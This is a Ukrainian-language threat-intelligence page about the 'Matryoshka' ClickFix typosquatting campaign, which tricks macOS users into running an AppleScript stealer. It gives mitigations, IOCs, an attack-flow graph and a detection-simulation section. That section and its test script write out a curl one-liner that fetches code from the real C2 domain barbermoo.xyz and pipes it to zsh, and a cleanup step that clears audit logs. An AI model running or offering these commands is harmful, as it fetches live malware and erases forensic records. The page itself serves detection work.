SOC Prime Bias: Середній

17 Feb 2026 18:00

Розпакування нового варіанту «Матрешка» ClickFix: кампанія з тайпосквотингу постачає викрадача macOS

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Розпакування нового варіанту «Матрешка» ClickFix: кампанія з тайпосквотингу постачає викрадача macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Нова операція з поширення шкідливого ПЗ під назвою Matryoshka зловживає на домені з помилковим набором, щоб соціально обманути жертв для вставлення шкідливих команд у Terminal. Однорядковий код втягує закодований скрипт, який розкодується в пам’яті та врешті виконує викрадник на базі AppleScript націлений на дані браузера та криптогаманці. Інсталятор працює тихо у фоновому режимі, придушуючи видимі виводи, та вивантажує зібрані дані за допомогою спеціального заголовку API. Кампанія керується взаємодією користувача, а не вразливістю програмного забезпечення.

Розслідування

Аналітики Intego відновили ланцюжок від початку до кінця: домен з помилковим набором перенаправляє користувачів на легкий скрипт, розміщений на barbermoo.xyz. Цей скрипт виконує декодування з Base64 + gzip в пам’яті, запускає завантажувач, який отримує навантаження AppleScript, і встановлює результати збору в /tmp/osalogging.zip перед ексфільтрацією. AppleScript намагається викрасти облікові дані, представляючи хибний запит налаштувань системи, і він також націлений на заміну чи зміну додатків Ledger Live та Trezor Suite.

Заходи

Усвідомленість користувачів є основним контролем: не вставляти команди Terminal з вебсайтів. Заблокуйте та контролюйте визначені домени з помилковим набором та пов’язані з C2 домени, а також трафік, що розподіляється на інфраструктурі підтримки доставки. Застосуйте списки дозволених застосунків та використовуйте захист кінцевих точок, що можуть виявляти підозрілу виконання osascript та аномальні патерни отримання на основі curl.

Відповідь

Сповіщайте при ініціюванні curl з Terminal, яке переправлено до zsh чи осаскрипту, відстежуйте створення /tmp/osalogging.zip, і позначайте неочікувані зміни в пакетах Ledger Live та Trezor Suite. Здійснюйте фільтрацію DNS для barbermoo.xyz, comparisions.org і macfilesendstream.com. Розслідуйте будь-які процеси, що відразу запускаються у фоновому режимі після виконання команди з використанням curl.

“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access[“<b>Дія</b> – <b>T1204.001 Виконання користувачем Шкідлива посилання</b><br/><b>Опис</b>: Жертва відвідує домен з помилковим набором і бачить команду для копіювання-вставки.”] class action_initial_access action tool_curl[“<b>Інструмент</b> – <b>Назва</b>: curl<br/><b>Опис</b>: Передає дані з URL-адреси на комп’ютер жертви.”] class tool_curl tool process_fetch_rogue[“<b>Процес</b> – <b>Назва</b>: fetch_rogue.sh<br/><b>Команда</b>: curl u2026 | sh”] class process_fetch_rogue process action_execution[“<b>Дія</b> – <b>T1059.004 Оболонка Unix</b><br/><b>Опис</b>: Виконує команди оболонки Unix, щоб завантажити та запустити rogue.sh.”] class action_execution action action_obfuscation[“<b>Дія</b> – <b>T1027.009 Вбудовані навантаження</b><br/><b>Опис</b>: rogue.sh містить навантаження base64u2011gzip, яке декодується безпосередньо в пам’яті.”] class action_obfuscation action action_indirect_exec[“<b>Дія</b> – <b>T1202 Непряма виконання команд</b><br/><b>Опис</b>: Завантажувач працює у фоновому режимі, відокремлюється від терміналу і пригнічує I/O.”] class action_indirect_exec action tool_applescript[“<b>Інструмент</b> – <b>Назва</b>: AppleScript<br/><b>Опис</b>: Відображає хибний діалог налаштувань системи для захоплення вводу користувача.”] class tool_applescript tool action_gui_capture[“<b>Дія</b> – <b>T1056.002 Захоплення вводу GUI</b><br/><b>Опис</b>: Діалог AppleScript захоплює введені користувачем паролі.”] class action_gui_capture action action_cred_harvest[“<b>Дія</b> – <b>T1056 Захоплення введення</b><br/><b>Опис</b>: Скрипт збирає збережені облікові дані браузера після взаємодії з користувачем.”] class action_cred_harvest action action_masquerade[“<b>Дія</b> – <b>T1036 Маскування</b><br/><b>Опис</b>: Замінює та перевпроваджує бінарні файли Ledger Live і Trezor Suite на шкідливі версії.”] class action_masquerade action action_stage_data[“<b>Дія</b> – <b>T1074.001 Місцева постановка даних</b><br/><b>Опис</b>: Ставить вкрадені файли в /tmp/osalogging.zip перед ексфільтрацією.”] class action_stage_data action action_c2_comm[“<b>Дія</b> – <b>T1071.001 Веб-протоколи</b><br/><b>Опис</b>: Зв’язується з C2 сервером за допомогою HTTP(S) запитів і спеціального заголовка APIu2011key.”] class action_c2_comm action action_exfil_over_c2[“<b>Дія</b> – <b>T1041 Ексфільтрація через C2-канал</b><br/><b>Опис</b>: Завантажує збережений zip архів на C2 сервер через POST запит.”] class action_exfil_over_c2 action action_auto_exfil[“<b>Дія</b> – <b>T1020 Автоматична ексфільтрація</b><br/><b>Опис</b>: Дані автоматично надсилаються на C2 без подальшої взаємодії з користувачем.”] class action_auto_exfil action %% Connections action_initial_access u002du002d>|використовує| tool_curl tool_curl u002du002d>|завантажує| process_fetch_rogue process_fetch_rogue u002du002d>|виконує| action_execution action_execution u002du002d>|веде до| action_obfuscation action_obfuscation u002du002d>|дозволяє| action_indirect_exec action_indirect_exec u002du002d>|використовує| tool_applescript tool_applescript u002du002d>|запускає| action_gui_capture action_gui_capture u002du002d>|захоплює| action_cred_harvest action_cred_harvest u002du002d>|живить| action_masquerade action_masquerade u002du002d>|зберігає| action_stage_data action_stage_data u002du002d>|переносить| action_c2_comm action_c2_comm u002du002d>|ексфільтрувати| action_exfil_over_c2 action_exfil_over_c2 u002du002d>|автоматизує| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process “

Атака потоку

Виконання симуляції

Передумова: повинна була пройти перевірка телеметрії та базових налаштувань.

Мотив: Цей розділ детально описує точне виконання техніки противника (TTP), спроектованої для активації правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати виявлені TTP та спрямовані на генерацію точної телеметрії, очікуваної логікою виявлення.

  • Наратив атаки та команди:
    Противник, який вже скомпрометував обліковий запис macOS з низьким рівнем привілеїв, хоче виконати віддалене навантаження, не записуючи файли на диск. Вони створюють однорядковий код, який завантажує закодований скрипт base‑64 з шкідливого домена C2 (barbermoo.xyz), переправляє це безпосередньо до zsh, і врешті виконує eval , щоб виконати навантаження в пам’яті. Цей підхід відповідає T1059.004 (оболонка Unix) та T1027 (обфускація) і є саме тим, що Sigma-правило відстежує.

    1. Зловмисник отримує унікальний токен (ABCD1234), що прив’язує запит до їх кампанії.

    2. Вони виконують наступний однорядковий код у сеансі Terminal:

      curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    3. Всередині отриманого скрипту змінна payload зберігає закодоване шкідливе навантаження, яке виконується через:

      eval "$payload"

    Це генерує два різних командних рядки, які відповідають правилам:

    • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    • eval "$payload"
  • Регресійний тестовий скрипт:
    Скрипт нижче відтворює шкідливу поведінку в контрольованому лабораторному середовищі. Запустіть його лише на тестовому хості macOS. Він журналює власне виконання до системного журналу аудиту, відповідаючи правилу виявлення.

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Імітація варіанту Matryoshka – тригерує правило Sigma
    # -------------------------------------------------
    set -euo pipefail
    
    # --- Конфігурація -------------------------------------------------
    TOKEN="ABCD1234"                     # Замініть будь-яким рядком для імітації унікальності
    MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
    # Маленьке безпечне навантаження для демонстрації – вивід повідомлення (замініть реальним навантаженням у red‑team)
    PAYLOAD="echo 'Виконано шкідливе навантаження'"
    
    # --- Крок 1: Завантажте і передайте до zsh (відповідає першому патерну виявлення) ---
    curl -fsSL "${MALICIOUS_URL}" | zsh
    
    # --- Крок 2: Імітуйте виконання у пам'яті (відповідає другому патерну) -------------
    # У реальній атаці навантаження буде закодовано в base64 та декодовано на ходу.
    eval "${PAYLOAD}"
  • Команди очищення: Видаліть всі тимчасові процеси і відновіть стан оболонки.

    # Припиняйте всі процеси zsh, запущені тестом (якщо вони досі працюють)
    pkill -f "zsh -c .*barbermoo.xyz"
    
    # Опціонально очистіть журнал аудиту від тестових записів (вимагає адміністрування)
    sudo audit -c      # Очищує буфер аудиту (демонструє T1070.010)